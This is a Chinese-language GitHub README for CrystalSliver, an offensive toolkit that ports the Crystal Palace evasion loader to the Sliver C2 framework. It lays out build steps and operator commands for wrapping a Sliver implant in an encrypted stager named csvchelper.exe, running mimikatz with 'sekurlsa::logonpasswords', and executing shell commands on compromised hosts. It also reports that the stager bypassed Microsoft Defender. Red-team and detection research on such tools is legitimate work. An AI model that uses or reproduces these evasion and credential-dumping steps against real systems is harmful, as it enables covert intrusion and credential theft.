licitrasimone/CrystalSliver
GitHub: licitrasimone/CrystalSliver
将 Crystal Palace 规避加载器从 Cobalt Strike 移植到 Sliver C2 的红队工具包,为 implant 投递和后渗透操作提供内存规避能力。
Stars: 96 | Forks: 14
# crystal-kit-sliver
水晶宫(Crystal Palace)规避工具包,移植至 [Sliver C2](https://sliver.sh)。
这是 rasta-mouse 的 [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) 首次公开移植到 Sliver。它遵循了已被 [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic) 证明可行的跨 C2 模式。
- **许可证:** MIT — 版权所有 (c) 2026 Simone Licitra
- **目标:** 仅限 Windows x64(上游限制)
- **状态:** 已完成端到端验证 — Kali 构建 pipeline + Windows 10 x64 FLARE-VM runtime。已成功建立 Sliver session。
## 功能说明
使用 [Crystal Palace](https://tradecraftgarden.org/)(Raphael Mudge,BSD)替换 Sliver 默认的反射式加载器和后渗透(post-ex)执行路径。结果会生成一个位置无关代码(PICO)blob,其中捆绑了:
- 基于 ror13 哈希的 API 解析(不含明文的 `LoadLibrary` / `GetProcAddress`)
- 针对 `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` 的 IAT hooks
- 回调期间的 Draugr 调用栈欺骗
- 对内嵌 DLL 应用的 XOR sleep mask
- 基于 libtcg 的 runtime 混淆
Sliver implant DLL(或任何后渗透 DLL)在 PICO 内部通过 XOR 掩码处理,仅在执行时才在内存中解除掩码。
## 两种用例
### A — Implant 规避(主要)
原始的 Sliver implant DLL 绝不会直接在目标上执行。相反,它会使用 Crystal Palace 封装为 PICO,进行 AES-256-CBC 加密,并搭配一个自定义 stager(约 17 KB)进行投递,由 stager 在内存中解密并执行它。
```
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
```
### B — 后渗透规避(次要)
一旦 session 处于活跃状态,即可通过 Sliver Extension,借助 Crystal Palace 运行敏感 DLL(侦察、凭证导出器等)。
```
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
```
通过在 `|` 后追加参数,无需重新编译即可传递 runtime 参数:
```
sliver > crystal --payload C:/path/file.pico.bin|args here
```
`crystal-loader.x64.dll` 是一个 Sliver DLL Extension,它从磁盘将 PICO blob 读取到 `VirtualAlloc(RW)` 区域,使用 `VirtualProtect` 将其翻转为 RX,并跳转至 Crystal Palace 入口点。系统永远不会持有 `PAGE_EXECUTE_READWRITE` 映射。路径使用正斜杠。参数格式为 `type:string`(非 BOF 二进制格式)。该 DLL 由 Sliver 在内存中加载 — 它不会作为文件写入目标磁盘。
### C — 通过 Crystal Palace 执行内置 shell
`crystal-exec` 是捆绑在同一扩展中的第二个命令。它使用直接嵌入在扩展 DLL 中的 PICO,通过 Crystal Palace 规避机制运行任意 shell 命令 — 无需上传 PICO 文件。
```
sliver > crystal-exec --cmd "whoami /all"
```
输出将通过现有的 Sliver session 经由 pipe 返回给操作者。当您不需要完整的后渗透 DLL 时,这是执行一次性 shell 命令的最快途径。
## 仓库结构
```
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
```
## 快速构建(Kali / Debian / Ubuntu)
```
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. 构建所有内容
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. 用例 A — 包装 Sliver implant 并构建 stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → 生成 build/csvchelper.exe + build/payload.dat(两者均需投递至目标)
# 5. 用例 B — 包装 post-ex DLL(postex.sh 处理命名并打印 sliver 命令)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# 使用内置参数: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — 重新构建内置命令执行器(仅在修改 crystalexec.c 后需要)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
```
有关完整的操作者流程(Sliver 安装、监听器设置、目标执行、故障排除),请参阅 `docs/RUNBOOK.md`。
## 已验证内容
| 项目 | 状态 | 证据 |
|---|---|---|
| 所有 Crystal-Kit 源码均可在 MinGW 15.2 + NASM 3.01 下编译 | OK | `make all` 清理干净,每个 loader 生成 8 个 `.o` + 1 个 `.bin` |
| 存在 Xenon 后渗透补丁 | OK | `dfr "ror13"`、`_DLLARGS_` 节,以及 `DLL_PROCESS_ATTACH` 中的 `dll_arguments` 参数 |
| Crystal Palace CLI 已验证 | OK | `./link [%KEY=value]` — 位置参数,在 `dist/README` 中有文档记录 |
| 端到端 PICO 构建(用例 A) | OK | 从测试 DLL 生成了 117 KB 的 PICO |
| 端到端 PICO 构建(用例 B) | OK | 通过 `postex-loader/loader.spec` 生成了 111 KB 的 PICO |
| Sliver Extension wrapper DLL 构建成功 | OK | `crystal-loader.x64.dll` 约 42 KB,`crystal-exec.x64.dll` 约 75 KB — 均为导出 `Initialize` 符号的 PE32+ 格式;无 RWX;已剥离 |
| Extension tarball 打包正确 | OK | 使用 `tar -tzf` 验证了 37 KB 的 tarball |
| 自定义 stager 构建(双文件投递) | OK | `bundle-stager.sh` → `csvchelper.exe`(17 KB,熵值 4.784)+ `payload.dat` (AES-256-CBC) |
| Windows 上的 runtime 执行(用例 A) | OK | 在 Windows 10 x64 FLARE-VM 上建立了 Sliver session;stager 绕过了 Defender (Wacatac.B!ml + ZomBytes.B) |
| Windows 上的 runtime 执行(用例 B) | OK | `crystal --payload C:/path/file.pico.bin` — 通过后渗透 PICO 建立了新的 Sliver session;参数格式验证为 `type:string`,路径使用正斜杠 |
| `crystal-exec` 命令 | OK | Shell 命令输出通过 pipe 返回给操作者;PICO 内嵌在扩展 DLL 中,无需上传 |
## 依赖项
| 依赖项 | 许可证 | 获取方式 | 是否内置? |
|---|---|---|---|
| Crystal Palace (`crystalpalace.jar`, `link` 等) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | 否(`.gitignore` 排除了 `external/`) |
| `libtcg.x64.zip` | 上游二进制文件,许可证未注明(可能派生自 QEMU TCG) | 从上游 Crystal-Kit 仓库复制 | 是,保留在树中以便构建 |
| Sliver C2 | GPLv3 | | 否 — 仅作为 runtime 依赖 |
| MinGW-w64 + NASM | GPL 兼容 | `apt install` 或 `brew install` | 否 |
本仓库不重新分发 `crystalpalace.jar`。构建 pipeline 会从外部获取它,并通过 `CRYSTAL_PALACE_HOME` 环境变量进行引用。
## 版权声明
有关上游版权和许可证的完整列表,请参阅 [`NOTICE.md`](NOTICE.md)。简要总结如下:
- **rasta-mouse** — Crystal-Kit (MIT) — 基础反射式加载器、后渗透加载器、规范文件
- **nickswink** — Crystal-Kit-Xenon (MIT) — 跨 C2 补丁模板(移除智能指针 + `dll_args` 节)
- **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — 链接器和 PIC 工具
- **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF 兼容层(`beacon.h`、`beacon_compatibility.c/h`)
- **BishopFox** — Sliver C2 (GPLv3) — 目标框架
## 路线图
- [x] 1 — 审计上游仓库 + 提取 Crystal-Kit 和 Crystal-Kit-Xenon 之间的差异
- [x] 2 — 工具链文档 + 仓库脚手架
- [x] 3 — 带有字面差异的逐文件移植映射 (`docs/PORTING_MAP.md`)
- [x] 4 — 源码已复制 + 应用 Xenon 补丁 + LICENSE + NOTICE
- [x] 5 — `sliver-glue/` 胶水脚本和 Extension 清单
- [x] 6a — DLL wrapper 编写、构建 (MinGW 15.2)、打包、shellcode 冒烟测试
- [x] 6b — Crystal Palace CLI 已验证,真实 PICO 端到端构建完成
- [x] 6c — 双重用例 A/B:`generate-implant.sh` + `bundle-implant.sh`
- [x] 6d — Windows x64 实验环境下的 runtime 测试 — 用例 A 已验证(在 FLARE-VM 上建立了 Sliver session)
- [x] 6e — 用例 B runtime 验证通过(`crystal --payload` 工作正常,参数格式固定为 `type:string`,路径使用正斜杠)
- [x] 6f — `crystal-exec` 命令:通过 Crystal Palace 实现内置后渗透 shell 执行(无需上传)
- [x] 6g — 通过 `|` 分隔符传递 runtime 参数,实现无需重新编译的动态 DLL 参数传递
## 免责声明
本攻击性安全工具仅用于授权的红队交战、实验室研究和教育。仅在获得书面授权的环境中使用。作者不对滥用行为承担责任。
标签:Cutter, DNS 反向解析, Sliver, 内存加载, 命令与控制, 客户端加密